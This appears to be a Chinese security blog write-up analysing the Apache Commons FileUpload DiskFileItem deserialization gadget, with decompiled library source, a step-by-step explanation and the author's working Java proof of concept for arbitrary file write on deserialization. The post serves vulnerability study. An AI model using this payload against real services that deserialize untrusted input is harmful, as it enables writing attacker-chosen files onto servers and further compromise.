FileUpload1 反序列化漏洞(1)

2025-01-27 8 0

payload

//  
// Source code recreated from a .class file by IntelliJ IDEA  
// (powered by FernFlower decompiler)  
//  
  
package org.apache.commons.fileupload.disk;  
  
import java.io.BufferedInputStream;  
import java.io.BufferedOutputStream;  
import java.io.ByteArrayInputStream;  
import java.io.File;  
import java.io.FileInputStream;  
import java.io.FileOutputStream;  
import java.io.IOException;  
import java.io.InputStream;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  
import java.io.OutputStream;  
import java.io.UnsupportedEncodingException;  
import java.util.Map;  
import java.util.UUID;  
import java.util.concurrent.atomic.AtomicInteger;  
import org.apache.commons.fileupload.FileItem;  
import org.apache.commons.fileupload.FileItemHeaders;  
import org.apache.commons.fileupload.FileUploadException;  
import org.apache.commons.fileupload.ParameterParser;  
import org.apache.commons.fileupload.util.Streams;  
import org.apache.commons.io.IOUtils;  
import org.apache.commons.io.output.DeferredFileOutputStream;  
  
public class DiskFileItem implements FileItem {  
    private static final long serialVersionUID = 2237570099615271025L;  
    public static final String DEFAULT_CHARSET = "ISO-8859-1";  
    private static final String UID = UUID.randomUUID().toString().replace('-', '_');  
    private static final AtomicInteger COUNTER = new AtomicInteger(0);  
    private String fieldName;  
    private String contentType;  
    private boolean isFormField;  
    private String fileName;  
    private long size = -1L;  
    private int sizeThreshold;  
    private File repository;  
    private byte[] cachedContent;  
    private transient DeferredFileOutputStream dfos;  
    private transient File tempFile;  
    private File dfosFile;  
    private FileItemHeaders headers;  
  
    public DiskFileItem(String fieldName, String contentType, boolean isFormField, String fileName, int sizeThreshold, File repository) {  
        this.fieldName = fieldName;  
        this.contentType = contentType;  
        this.isFormField = isFormField;  
        this.fileName = fileName;  
        this.sizeThreshold = sizeThreshold;  
        this.repository = repository;  
    }  
  
    public InputStream getInputStream() throws IOException {  
        if (!this.isInMemory()) {  
            return new FileInputStream(this.dfos.getFile());  
        } else {  
            if (this.cachedContent == null) {  
                this.cachedContent = this.dfos.getData();  
            }  
  
            return new ByteArrayInputStream(this.cachedContent);  
        }  
    }  
  
    public String getContentType() {  
        return this.contentType;  
    }  
  
    public String getCharSet() {  
        ParameterParser parser = new ParameterParser();  
        parser.setLowerCaseNames(true);  
        Map<String, String> params = parser.parse(this.getContentType(), ';');  
        return (String)params.get("charset");  
    }  
  
    public String getName() {  
        return Streams.checkFileName(this.fileName);  
    }  
  
    public boolean isInMemory() {  
        return this.cachedContent != null ? true : this.dfos.isInMemory();  
    }  
  
    public long getSize() {  
        if (this.size >= 0L) {  
            return this.size;  
        } else if (this.cachedContent != null) {  
            return (long)this.cachedContent.length;  
        } else {  
            return this.dfos.isInMemory() ? (long)this.dfos.getData().length : this.dfos.getFile().length();  
        }  
    }  
  
    public byte[] get() {  
        if (this.isInMemory()) {  
            if (this.cachedContent == null) {  
                this.cachedContent = this.dfos.getData();  
            }  
  
            return this.cachedContent;  
        } else {  
            byte[] fileData = new byte[(int)this.getSize()];  
            InputStream fis = null;  
  
            try {  
                fis = new BufferedInputStream(new FileInputStream(this.dfos.getFile()));  
                ((InputStream)fis).read(fileData);  
            } catch (IOException var12) {  
                fileData = null;  
            } finally {  
                if (fis != null) {  
                    try {  
                        ((InputStream)fis).close();  
                    } catch (IOException var11) {  
                    }  
                }  
  
            }  
  
            return fileData;  
        }  
    }  
  
    public String getString(String charset) throws UnsupportedEncodingException {  
        return new String(this.get(), charset);  
    }  
  
    public String getString() {  
        byte[] rawdata = this.get();  
        String charset = this.getCharSet();  
        if (charset == null) {  
            charset = "ISO-8859-1";  
        }  
  
        try {  
            return new String(rawdata, charset);  
        } catch (UnsupportedEncodingException var4) {  
            return new String(rawdata);  
        }  
    }  
  
    public void write(File file) throws Exception {  
        if (this.isInMemory()) {  
            FileOutputStream fout = null;  
  
            try {  
                fout = new FileOutputStream(file);  
                fout.write(this.get());  
            } finally {  
                if (fout != null) {  
                    fout.close();  
                }  
  
            }  
        } else {  
            File outputFile = this.getStoreLocation();  
            if (outputFile == null) {  
                throw new FileUploadException("Cannot write uploaded file to disk!");  
            }  
  
            this.size = outputFile.length();  
            if (!outputFile.renameTo(file)) {  
                BufferedInputStream in = null;  
                BufferedOutputStream out = null;  
  
                try {  
                    in = new BufferedInputStream(new FileInputStream(outputFile));  
                    out = new BufferedOutputStream(new FileOutputStream(file));  
                    IOUtils.copy(in, out);  
                } finally {  
                    if (in != null) {  
                        try {  
                            in.close();  
                        } catch (IOException var19) {  
                        }  
                    }  
  
                    if (out != null) {  
                        try {  
                            out.close();  
                        } catch (IOException var18) {  
                        }  
                    }  
  
                }  
            }  
        }  
  
    }  
  
    public void delete() {  
        this.cachedContent = null;  
        File outputFile = this.getStoreLocation();  
        if (outputFile != null && outputFile.exists()) {  
            outputFile.delete();  
        }  
  
    }  
  
    public String getFieldName() {  
        return this.fieldName;  
    }  
  
    public void setFieldName(String fieldName) {  
        this.fieldName = fieldName;  
    }  
  
    public boolean isFormField() {  
        return this.isFormField;  
    }  
  
    public void setFormField(boolean state) {  
        this.isFormField = state;  
    }  
  
    public OutputStream getOutputStream() throws IOException {  
        if (this.dfos == null) {  
            File outputFile = this.getTempFile();  
            this.dfos = new DeferredFileOutputStream(this.sizeThreshold, outputFile);  
        }  
  
        return this.dfos;  
    }  
  
    public File getStoreLocation() {  
        return this.dfos == null ? null : this.dfos.getFile();  
    }  
  
    protected void finalize() {  
        File outputFile = this.dfos.getFile();  
        if (outputFile != null && outputFile.exists()) {  
            outputFile.delete();  
        }  
  
    }  
  
    protected File getTempFile() {  
        if (this.tempFile == null) {  
            File tempDir = this.repository;  
            if (tempDir == null) {  
                tempDir = new File(System.getProperty("java.io.tmpdir"));  
            }  
  
            String tempFileName = String.format("upload_%s_%s.tmp", UID, getUniqueId());  
            this.tempFile = new File(tempDir, tempFileName);  
        }  
  
        return this.tempFile;  
    }  
  
    private static String getUniqueId() {  
        int limit = 100000000;  
        int current = COUNTER.getAndIncrement();  
        String id = Integer.toString(current);  
        if (current < 100000000) {  
            id = ("00000000" + id).substring(id.length());  
        }  
  
        return id;  
    }  
  
    public String toString() {  
        return String.format("name=%s, StoreLocation=%s, size=%s bytes, isFormField=%s, FieldName=%s", this.getName(), this.getStoreLocation(), this.getSize(), this.isFormField(), this.getFieldName());  
    }  
  
    private void writeObject(ObjectOutputStream out) throws IOException {  
        if (this.dfos.isInMemory()) {  
            this.cachedContent = this.get();  
        } else {  
            this.cachedContent = null;  
            this.dfosFile = this.dfos.getFile();  
        }  
  
        out.defaultWriteObject();  
    }  
  
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {  
        in.defaultReadObject();  
        OutputStream output = this.getOutputStream();  
        if (this.cachedContent != null) {  
            output.write(this.cachedContent);  
        } else {  
            FileInputStream input = new FileInputStream(this.dfosFile);  
            IOUtils.copy(input, output);  
            this.dfosFile.delete();  
            this.dfosFile = null;  
        }  
  
        output.close();  
        this.cachedContent = null;  
    }  
  
    public FileItemHeaders getHeaders() {  
        return this.headers;  
    }  
  
    public void setHeaders(FileItemHeaders pHeaders) {  
        this.headers = pHeaders;  
    }  
}

分析

getObject函数中,将文件影响分为了几类:

command = "write;C:\\Users\\Cheng\\Desktop\\Files;232323";
// 按照不同方式,分类
if (parts.length == 3 && "copyAndDelete".equals(parts[0])) {  
    return copyAndDelete(parts[1], parts[2]);  
} else if (parts.length == 3 && "write".equals(parts[0])) {  
    return write(parts[1], parts[2].getBytes("US-ASCII"));  
} else if (parts.length == 3 && "writeB64".equals(parts[0])) {  
    return write(parts[1], Base64.decodeBase64(parts[2]));  
} else if (parts.length == 3 && "writeOld".equals(parts[0])) {  
    return writePre131(parts[1], parts[2].getBytes("US-ASCII"));  
} else if (parts.length == 3 && "writeOldB64".equals(parts[0])) {  
    return writePre131(parts[1], Base64.decodeBase64(parts[2]));

下面逐一分析:

write分析

总体分析

从readobject开始分析,发现核心写入文件的是在output.write(this.cachedContent); ,意味着this.cachedContent是需要关注的核心。

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {  
    in.defaultReadObject();  
    OutputStream output = this.getOutputStream();  
    if (this.cachedContent != null) {  
        output.write(this.cachedContent);  
    } else {  
        FileInputStream input = new FileInputStream(this.dfosFile);  
        IOUtils.copy(input, output);  
        this.dfosFile.delete();  
        this.dfosFile = null;  
    }  
  
    output.close();  
    this.cachedContent = null;  
}

在writeobject方法中,存在对this.cachedContent的赋值:this.cachedContent = this.get();

private void writeObject(ObjectOutputStream out) throws IOException {  
    if (this.dfos.isInMemory()) {  
        this.cachedContent = this.get();  
    } else {  
        this.cachedContent = null;  
        this.dfosFile = this.dfos.getFile();  
    }  
  
    out.defaultWriteObject();  
}

接下来分析get

public byte[] get() {  
    if (this.isInMemory()) {  
        if (this.cachedContent == null) {  
            this.cachedContent = this.dfos.getData();  
        }  
  
        return this.cachedContent;  
    } else {  
        byte[] fileData = new byte[(int)this.getSize()];  
        InputStream fis = null;  
  
        try {  
            fis = new BufferedInputStream(new FileInputStream(this.dfos.getFile()));  
            ((InputStream)fis).read(fileData);  
        } catch (IOException var12) {  
            fileData = null;  
        } finally {  
            if (fis != null) {  
                try {  
                    ((InputStream)fis).close();  
                } catch (IOException var11) {  
                }  
            }  
  
        }  
  
        return fileData;  
    }  
}

debug后,发现是在this.cachedContent = this.dfos.getData();当中进行了赋值。
那么如果能够控制dfos,就可以实现文件内容的控制。

于是payload当中的这段代码便可以解释了。

Reflections.setFieldValue(diskFileItem, "dfos", dfos);

这一段也是可以解释的(此处为了方便理解,我换了一种方式):

File outputFile = new File(filePath);  
        DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);  
        dfos.write(data);  
/*        OutputStream os = (OutputStream)Reflections.getFieldValue(dfos, "memoryOutputStream");  
        os.write(data);*/

刚刚说要控制get当中的dfos,那么通过反射来控制是最简单的方式了:

File repository = new File(repoPath);  
DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository);
Reflections.setFieldValue(diskFileItem, "dfos", dfos);

细节A

makePayload(data.length + 1, dir, dir + "/whatever", data);时为什么要传出这几个参数,他们的用处是上面?

data.length + 1
对应DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);当中的thresh,为文件单次写入的阈值。

  • 当写入的数据量小于或等于 threshold 时,数据会被存储在内存中。

  • 当写入的数据量超过 threshold 时,DeferredFileOutputStream 会自动切换到磁盘存储。
    于是为了写入到存储当中,必须要data.length+1

repoPath

File repository = new File(repoPath);  
DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository);

首先来说DiskFileItem:
DiskFileItem的主要功能是封装上传的文件或表单字段数据,并根据配置动态决定将数据存储在内存中还是磁盘上。当文件大小小于指定的阈值时,数据会存储在内存中;当文件大小超过阈值时,数据会被写入磁盘上的临时文件。

  • fieldName:表单字段的名称。

  • contentType:上传文件的 MIME 类型。

  • isFormField:是否为普通表单字段(非文件字段)。

  • fileName:上传文件的原始文件名。

  • sizeThreshold:内存存储的大小阈值(单位为字节)。当文件大小超过此值时,数据将存储到磁盘。

  • repository:当文件存储到磁盘时,临时文件存放的目录

实际上repoPath是临时文件存放的目录

filePath

File outputFile = new File(filePath);
        DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
        dfos.write(data);

outputFile是一个File对象,表示当数据量超过threshold时,数据将被写入的目标文件路径。这个参数的作用是明确指定数据在磁盘上的存储位置,也就是上文当中实际的写入路径。

细节B

为什么没有写入到/whatever下?
makepayload的时候修改阈值为较小的数即可。

但是如果数字较小,那么在正向序列化构造payload的时候,就会生成一个whatever文件。

细节C

为什么Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);会有这一步?

一路向上找,可以到getOutputStream->readObject下。

如果没有这段代码,执行payload后无事发生,结合刚刚的问题,应该是没有写入到存储当中,是写入到了内存当中。

打点,开始debug!

最后在

DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 1111, repository);

此处将sizeThreshold设置为1111,为了防止序列化对象的时候创建文件,所以将值设置了很大,但是在后面为dfos赋值的时候,如果将值设置的过大,会导致无法将内容写入到磁盘当中。

public OutputStream getOutputStream() throws IOException {  
    if (this.dfos == null) {  
        File outputFile = this.getTempFile();  
        this.dfos = new DeferredFileOutputStream(this.sizeThreshold, outputFile);  
    }

总结

1、org.apache.commons.fileupload.disk.DiskFileItem#readObject下的

OutputStream output = this.getOutputStream();
output.write(this.cachedContent);

可以对任意位置的任意文件进行写入,于是便想控制this.getOutputStream()this.cachedContent

2、 前者在org.apache.commons.fileupload.disk.DiskFileItem#getOutputStream

public OutputStream getOutputStream() throws IOException {  
    if (this.dfos == null) {  
        File outputFile = this.getTempFile();  
        this.dfos = new DeferredFileOutputStream(this.sizeThreshold, outputFile);  
    }  
  
    return this.dfos;  
}

此处只能控制this.sizeThreshold,当前来说,控制此变量的意义不大,暂时先搁置。

3、后者在org.apache.commons.fileupload.disk.DiskFileItem#writeObject时,通过get来赋值:

private void writeObject(ObjectOutputStream out) throws IOException {  
    if (this.dfos.isInMemory()) {  
        this.cachedContent = this.get();  
    } else {  
        this.cachedContent = null;  
        this.dfosFile = this.dfos.getFile();  
    }  
  
    out.defaultWriteObject();  
}

4、在get当中,又通过this.dfos.getData()来进行赋值,于是对dfos进行控制。

public byte[] get() {  
    if (this.isInMemory()) {  
        if (this.cachedContent == null) {  
            this.cachedContent = this.dfos.getData();  
        }  
  
        return this.cachedContent;

5、这是初步构造的payload:

public class Fileupload2 {  
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {  
        // DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, (File)null);  
        DiskFileItem dfi = new DiskFileItem("test","application/octet-stream",false,"1111",0,new File("C:\\Users\\Cheng\\Desktop\\Files"));  
        Class<? extends DiskFileItem> aClass = dfi.getClass();  
        Field dfos = aClass.getDeclaredField("dfos");  
        dfos.setAccessible(true);  
  
        // 构造dfos  
        DeferredFileOutputStream dfos_ = new DeferredFileOutputStream(0, new File("C:\\Users\\Cheng\\Desktop\\Files\\1111"));  
        dfos_.write("hackit!".getBytes());  
        dfos.set(dfi,dfos_);  
  
        ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get(".\\1111")));  
        oos.writeObject(dfi);  
  
        ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(".\\1111")));  
        Object o = ois.readObject();  
    }  
}

但是在debug后,在readobject之前已经完成了对文件的写入,于是将dfos_的参数修改为比较大的值,也就避免了提前进行文件写入。

为什么考虑到修改DeferredFileOutputStream不是DiskFileItem的?
DiskFileItem没有调用write等类似的方法,肯定没有提前写入文件!

6、这是我的payload:

package com.kiwi.fileupload;  
  
import org.apache.commons.fileupload.disk.DiskFileItem;  
import org.apache.commons.io.output.DeferredFileOutputStream;  
  
import java.io.*;  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
  
public class Fileupload2 {  
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {  
        // DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, (File)null);  
        DiskFileItem dfi = new DiskFileItem("test","application/octet-stream",false,"1111",0,new File("C:\\Users\\Cheng\\Desktop\\Files"));  
        Class<? extends DiskFileItem> aClass = dfi.getClass();  
        Field dfos = aClass.getDeclaredField("dfos");  
        dfos.setAccessible(true);  
  
        // 构造dfos  
        DeferredFileOutputStream dfos_ = new DeferredFileOutputStream(10000, new File("C:\\Users\\Cheng\\Desktop\\Files\\1111"));  
        dfos_.write("hackit!".getBytes());  
        dfos.set(dfi,dfos_);  
  
        ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get(".\\1111")));  
        oos.writeObject(dfi);  
  
        ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(".\\1111")));  
        Object o = ois.readObject();  
    }  
}

4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

xss总结
浅谈蜜罐原理与规避
[Meachines] [Easy] Alert XSS-Fetch网页源码提取+CSRF+AlertShot-htb+Apache2 .htpass…
[Meachines] [Easy] LinkVortex Git leakage+Ghost 5.58+Double Link Bypass权限提升
[Meachines] [Easy] Writeup CMS Made Simple SQLI+Staff组路径劫持权限提升
[Meachines] [Easy] Access FTP匿名登录+mdb文件解析+Outlook PST提取+Runas权限提升+DPAPI滥用(M…

发布评论